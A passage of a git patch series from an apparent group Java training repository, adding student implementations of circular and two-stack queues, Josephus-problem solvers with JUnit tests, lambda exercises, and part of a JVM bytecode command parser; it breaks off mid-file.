+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public CircleQueue(int maxSize){
+		elementData = new Object[maxSize];
+		this.maxSize = maxSize;
+	}
+	
+	public boolean isEmpty() {
+		return rear == front;
+        
+    }
+
+    public int size() {
+        return rear - front;
+    }
+
+    
+
+    public void enQueue(E data) {
+        if((rear+1)%maxSize == front){
+        	throw new FullQueueException();
+        }
+        elementData[rear] = data;
+        rear = (rear + 1) % maxSize;
+    }
+
+    public E deQueue() {
+    	if(rear == front){
+    		throw new EmptyQueueException();
+    	}
+    	E data = (E)elementData[front];
+    	elementData[front] = null;
+    	front = (front + 1) % maxSize;
+        return data;
+    }
+    
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
new file mode 100644
index 0000000000..925c9de7ec
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/EmptyQueueException.java
@@ -0,0 +1,14 @@
+package com.coding.basic.queue;
+
+public class EmptyQueueException extends RuntimeException {
+	
+	private static final long serialVersionUID = 7013504079461713464L;
+
+	public EmptyQueueException() {
+        super();
+    }
+	
+	public EmptyQueueException(String message) {
+        super(message);
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
new file mode 100644
index 0000000000..96cc1ab4fb
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/FullQueueException.java
@@ -0,0 +1,14 @@
+package com.coding.basic.queue;
+
+public class FullQueueException extends RuntimeException {
+	
+	private static final long serialVersionUID = 5782713639805661798L;
+
+	public FullQueueException() {
+        super();
+    }
+	
+	public FullQueueException(String message) {
+        super(message);
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..8400d503b4
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,32 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		List<Integer> numbers = new ArrayList<>();
+		CircleQueue<Integer> queue = new CircleQueue<>(n+1);
+		for(int i=0;i<n;i++){
+			queue.enQueue(i);
+		}
+		while(!queue.isEmpty()){
+			int i = 1;
+			while(i < m){
+				Integer num = queue.deQueue();
+				queue.enQueue(num);
+				i++;
+			}
+			numbers.add(queue.deQueue());
+		}
+		return numbers;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
new file mode 100644
index 0000000000..5a15ea8f84
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/JosephusTest.java
@@ -0,0 +1,28 @@
+package com.coding.basic.queue;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testExecute() {
+		
+		Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+		Assert.assertEquals("[1, 2, 0]", Josephus.execute(3, 5).toString());
+		
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
new file mode 100644
index 0000000000..c4c4b7325e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/Queue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..d56e7b97ff
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,54 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+   
+    
+
+    public boolean isEmpty() {
+        return stack1.size() == 0;
+    }
+
+
+    
+    public int size() {
+        return stack1.size();   
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	while(!stack1.isEmpty()){
+    		stack2.push(stack1.pop());
+    	}
+    	E data = stack2.pop();
+    	while(!stack2.isEmpty()){
+    		stack1.push(stack2.pop());
+    	}
+        return data;
+    }
+
+
+
+ }
+
diff --git a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
index b43ac3f6d4..0782af1510 100644
--- a/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
+++ b/group23/1028361767/java8-function-coding/src/me/practise/chapter2.java
@@ -2,6 +2,7 @@
 
 import java.awt.event.ActionListener;
 import java.util.function.BinaryOperator;
+import java.util.function.Predicate;
 
 public class chapter2 {
 	
@@ -23,5 +24,21 @@ public static void main(String[] args) {
 		name = "def";
 		//ActionListener oneArg1 = event -> System.out.println("actionListener with one argument." + name);
 		// 编译无法通过：方法块中使用的变量必须使用final声明或既成事实的final变量，即变成赋值成功后不能再赋值
+		
+		
+		Predicate<Integer> atLeast5 = x -> x > 5;
+		System.out.println(atLeast5.test(6));
+		
+//		BinaryOperator addE = (x,y) -> x + y;//编译不通过
+		BinaryOperator<Long> addLongs = (x,y) -> x + y;
+		
+	}
+	
+	interface IntPred {
+		boolean test(Integer value);
+	}
+	interface A {
+		boolean check(Predicate<Integer> predicate);
+		boolean check(IntPred predicate);
 	}
 }

From c21d3a463bf47be3f66ac0b29795a5911e775b05 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Wed, 26 Apr 2017 16:51:38 +0800
Subject: [PATCH 127/262] =?UTF-8?q?week8=20=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84=E4=BD=9C=E4=B8=9A=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../jvm/test/ClassFileloaderTest.java         |  2 +-
 .../week8_datastructure/src/CircleQueue.java  | 53 ++++++++++++++++
 .../week8_datastructure/src/Josephus.java     | 47 ++++++++++++++
 .../week8_datastructure/src/JosephusTest.java | 28 +++++++++
 .../week8_datastructure/src/Queue.java        | 62 +++++++++++++++++++
 .../src/QueueWithTwoStacks.java               | 60 ++++++++++++++++++
 6 files changed, 251 insertions(+), 1 deletion(-)
 create mode 100644 group23/563253496/week8_datastructure/src/CircleQueue.java
 create mode 100644 group23/563253496/week8_datastructure/src/Josephus.java
 create mode 100644 group23/563253496/week8_datastructure/src/JosephusTest.java
 create mode 100644 group23/563253496/week8_datastructure/src/Queue.java
 create mode 100644 group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java

diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 5657310e0d..8f8097325d 100644
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -31,7 +31,7 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week7_jvm\\out\\production\\week7_jvm";
 	static String path2 = "C:\temp";
 	
 	static ClassFile clzFile = null;
diff --git a/group23/563253496/week8_datastructure/src/CircleQueue.java b/group23/563253496/week8_datastructure/src/CircleQueue.java
new file mode 100644
index 0000000000..f69e5e6c5b
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/CircleQueue.java
@@ -0,0 +1,53 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+public class CircleQueue<E> {
+
+    private final static int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData = new Object[DEFAULT_SIZE];
+
+    //队头
+    private int front = 0;
+    //队尾
+    private int rear = 0;
+
+    public boolean isEmpty() {
+        return this.front == this.rear;
+    }
+
+    public int size() {
+        int size = this.rear - this.front;
+        return size < 0 ? size += DEFAULT_SIZE : size;
+
+    }
+
+
+    public void enQueue(E data) {
+        if (this.isFull()) {
+            System.out.println("队列已满");
+            return;
+        }
+        elementData[this.rear] = data;
+        this.rear = ++this.rear % DEFAULT_SIZE;
+    }
+
+
+    public E deQueue() {
+        if (this.isEmpty()) {
+            System.out.println("队列为空");
+            return null;
+        }
+        E ele;
+        ele = (E) elementData[this.front];
+        this.front = (++this.front) % DEFAULT_SIZE;
+        return ele;
+    }
+
+    public boolean isFull() {
+        if ((this.rear + 1) % DEFAULT_SIZE == this.front) {
+            return true;
+        } else return false;
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Josephus.java b/group23/563253496/week8_datastructure/src/Josephus.java
new file mode 100644
index 0000000000..3d1425e125
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/Josephus.java
@@ -0,0 +1,47 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+
+import java.util.ArrayList;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中，
+ * N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * "[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2)
+ *
+ * @author liuxin
+ */
+public class Josephus {
+
+    public static List<Integer> execute(int n, int m) {
+        List<Integer> result = new ArrayList<>();
+
+        List<Integer> list = new LinkedList<Integer>();
+        int interval = m - 1;
+
+        for (int i = 0; i < n; i++) {
+            list.add(i);
+        }
+        int index = 0;
+        while (list.size() > 0) {
+            /*for (int i = 0; i < m; i++) {
+                index = (++index) % list.size();
+
+            }*/
+            index += interval;
+            index %= list.size();
+            result.add(list.get(index));
+            list.remove(index);
+
+        }
+
+
+        return result;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/JosephusTest.java b/group23/563253496/week8_datastructure/src/JosephusTest.java
new file mode 100644
index 0000000000..fb38138a32
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/JosephusTest.java
@@ -0,0 +1,28 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class JosephusTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testExecute() {
+
+        Assert.assertEquals("[1, 3, 5, 0, 4, 2, 6]", Josephus.execute(7, 2).toString());
+
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/Queue.java b/group23/563253496/week8_datastructure/src/Queue.java
new file mode 100644
index 0000000000..e2f5ce9a41
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/Queue.java
@@ -0,0 +1,62 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import java.util.NoSuchElementException;
+
+public class Queue<E> {
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+            first = last;
+        }
+        else{
+            oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+            throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+            last = null;
+        }
+        return item;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java b/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..c960f09bbb
--- /dev/null
+++ b/group23/563253496/week8_datastructure/src/QueueWithTwoStacks.java
@@ -0,0 +1,60 @@
+/**
+ * Created by bdl19 on 2017/4/25.
+ */
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+
+
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+
+
+
+    public boolean isEmpty() {
+
+        return stack1.isEmpty();
+    }
+
+
+
+    public int size() {
+        return stack1.size();
+    }
+
+
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+        E ele ;
+        if (stack1.size() == 0) {
+            throw new RuntimeException("队列为空！");
+        }
+        while (stack1.size() > 1) {
+            stack2.push(stack1.pop());
+        }
+        ele =  stack1.pop();
+        while(!stack2.isEmpty()){
+            stack1.push(stack2.pop());
+        }
+
+        return ele;
+    }
+
+
+
+}
\ No newline at end of file

From 74f8962a9c1ce09b26ddcc31ff794a5ca5c20ea2 Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Wed, 26 Apr 2017 19:23:25 +0800
Subject: [PATCH 128/262] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E5=91=BD=E4=BB=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../main/coding_170423/jvm/cmd/BiPushCmd.java |  20 +++
 .../jvm/cmd/ByteCodeCommand.java              | 151 ++++++++++++++++++
 .../coding_170423/jvm/cmd/CommandParser.java  | 127 +++++++++++++++
 .../coding_170423/jvm/cmd/GetFieldCmd.java    |  19 +++
 .../jvm/cmd/GetStaticFieldCmd.java            |  20 +++
 .../jvm/cmd/InvokeSpecialCmd.java             |  19 +++
 .../jvm/cmd/InvokeVirtualCmd.java             |  24 +++
 .../main/coding_170423/jvm/cmd/LdcCmd.java    |  30 ++++
 .../coding_170423/jvm/cmd/NewObjectCmd.java   |  19 +++
 .../coding_170423/jvm/cmd/NoOperandCmd.java   |  22 +++
 .../coding_170423/jvm/cmd/OneOperandCmd.java  |  27 ++++
 .../coding_170423/jvm/cmd/PutFieldCmd.java    |  19 +++
 .../coding_170423/jvm/cmd/TwoOperandCmd.java  |  68 ++++++++
 13 files changed, 565 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/BiPushCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/CommandParser.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/LdcCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NewObjectCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NoOperandCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/OneOperandCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/PutFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/TwoOperandCmd.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/BiPushCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..e267c6a140
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,20 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class BiPushCmd extends OneOperandCmd{
+    public BiPushCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return this.getOffset()+":"+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/ByteCodeCommand.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..89e6cf40be
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,151 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.constant.ConstantInfo;
+import main.coding_170423.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public abstract class ByteCodeCommand {
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+    private static Map<String,String> codeMap = new HashMap<String,String>();
+
+    static{
+        codeMap.put("01", "aconst_null");
+
+        codeMap.put("BB", "new");
+        codeMap.put("37", "lstore");
+        codeMap.put("B7", "invokespecial");
+        codeMap.put("B6", "invokevirtual");
+        codeMap.put("B4", "getfield");
+        codeMap.put("B5", "putfield");
+        codeMap.put("B2", "getstatic");
+
+        codeMap.put("2A", "aload_0");
+        codeMap.put("2B", "aload_1");
+        codeMap.put("2C", "aload_2");
+
+        codeMap.put("10", "bipush");
+        codeMap.put("15", "iload");
+        codeMap.put("1A", "iload_0");
+        codeMap.put("1B", "iload_1");
+        codeMap.put("1C", "iload_2");
+        codeMap.put("1D", "iload_3");
+
+        codeMap.put("25", "fload_3");
+
+        codeMap.put("1E", "lload_0");
+
+        codeMap.put("24", "fload_2");
+        codeMap.put("4C", "astore_1");
+
+        codeMap.put("A2", "if_icmp_ge");
+        codeMap.put("A4", "if_icmple");
+
+        codeMap.put("A7", "goto");
+
+        codeMap.put("B1", "return");
+        codeMap.put("AC", "ireturn");
+        codeMap.put("AE", "freturn");
+
+        codeMap.put("03", "iconst_0");
+        codeMap.put("04", "iconst_1");
+
+        codeMap.put("3C", "istore_1");
+        codeMap.put("3D", "istore_2");
+
+        codeMap.put("59", "dup");
+
+        codeMap.put("60", "iadd");
+        codeMap.put("84", "iinc");
+
+        codeMap.put("12", "ldc");
+    }
+
+
+
+
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode){
+        this.clzFile = clzFile;
+        this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+        return clzFile;
+    }
+
+    public int getOffset() {
+        return offset;
+    }
+
+    public void setOffset(int offset) {
+        this.offset = offset;
+    }
+    protected ConstantInfo getConstantInfo(int index){
+        return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool(){
+        return this.getClassFile().getConstantPool();
+    }
+
+
+
+    public String getOpCode() {
+        return opCode;
+    }
+
+    public abstract int getLength();
+
+    public String getReadableCodeText(){
+        String txt = codeMap.get(opCode);
+        if(txt == null){
+            return opCode;
+        }
+        return txt;
+    }
+
+    //public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/CommandParser.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..b3f16102e0
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/CommandParser.java
@@ -0,0 +1,127 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class CommandParser {
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+        if (codes == null || codes.length() == 0 || (codes.length() % 2) != 0) {
+            throw new RuntimeException("the original code is not correct");
+        }
+
+        codes = codes.toUpperCase();
+
+        CommandIterator commandIterator = new CommandIterator(codes);
+        List<ByteCodeCommand> byteCodeCommands = new ArrayList<>();
+        while (commandIterator.hasNext()) {
+            String opCode = commandIterator.next2CharAsString();
+            switch (opCode) {
+                case ByteCodeCommand.new_object:
+                    NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, opCode);
+                    newObjectCmd.setOprand1(commandIterator.nextCharAsInt());
+                    newObjectCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(newObjectCmd);
+                    break;
+                case ByteCodeCommand.invokespecial:
+                    InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, opCode);
+                    invokeSpecialCmd.setOprand1(commandIterator.nextCharAsInt());
+                    invokeSpecialCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(invokeSpecialCmd);
+                    break;
+                case ByteCodeCommand.invokevirtual:
+                    InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, opCode);
+                    invokeVirtualCmd.setOprand1(commandIterator.nextCharAsInt());
+                    invokeVirtualCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(invokeVirtualCmd);
+                    break;
+                case ByteCodeCommand.getfield:
+                    GetFieldCmd getFieldCmd = new GetFieldCmd(clzFile, opCode);
+                    getFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    getFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(getFieldCmd);
+                    break;
+                case ByteCodeCommand.getstatic:
+                    GetStaticFieldCmd getStaticFieldCmd = new GetStaticFieldCmd(clzFile, opCode);
+                    getStaticFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    getStaticFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(getStaticFieldCmd);
+                    break;
+                case ByteCodeCommand.putfield:
+                    PutFieldCmd putFieldCmd = new PutFieldCmd(clzFile, opCode);
+                    putFieldCmd.setOprand1(commandIterator.nextCharAsInt());
+                    putFieldCmd.setOprand2(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(putFieldCmd);
+                    break;
+                case ByteCodeCommand.ldc:
+                    LdcCmd ldcCmd = new LdcCmd(clzFile, opCode);
+                    ldcCmd.setOperand(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(ldcCmd);
+                    break;
+                case ByteCodeCommand.bipush:
+                    BiPushCmd biPushCmd = new BiPushCmd(clzFile, opCode);
+                    biPushCmd.setOperand(commandIterator.nextCharAsInt());
+                    byteCodeCommands.add(biPushCmd);
+                    break;
+                case ByteCodeCommand.dup:
+                case ByteCodeCommand.aload_0:
+                case ByteCodeCommand.aload_1:
+                case ByteCodeCommand.aload_2:
+                case ByteCodeCommand.iload_1:
+                case ByteCodeCommand.iload_2:
+                case ByteCodeCommand.iload_3:
+                case ByteCodeCommand.fload_3:
+                case ByteCodeCommand.voidreturn:
+                case ByteCodeCommand.astore_1:
+                    NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, opCode);
+                    byteCodeCommands.add(noOperandCmd);
+                    break;
+                default:
+                    throw new RuntimeException("Sorry,the instruction " + opCode + " " + "has not implemented");
+
+            }
+        }
+        calcuateOffset(byteCodeCommands);
+        ByteCodeCommand[] result = new ByteCodeCommand[byteCodeCommands.size()];
+        byteCodeCommands.toArray(result);
+        return result;
+    }
+
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String code) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int nextCharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16).intValue();
+        }
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..e1851171b4
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class GetFieldCmd extends TwoOperandCmd {
+    public GetFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetStaticFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e3a05ed1fd
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,20 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class GetStaticFieldCmd extends TwoOperandCmd {
+    public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeSpecialCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..f1ea0979ec
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class InvokeSpecialCmd extends TwoOperandCmd {
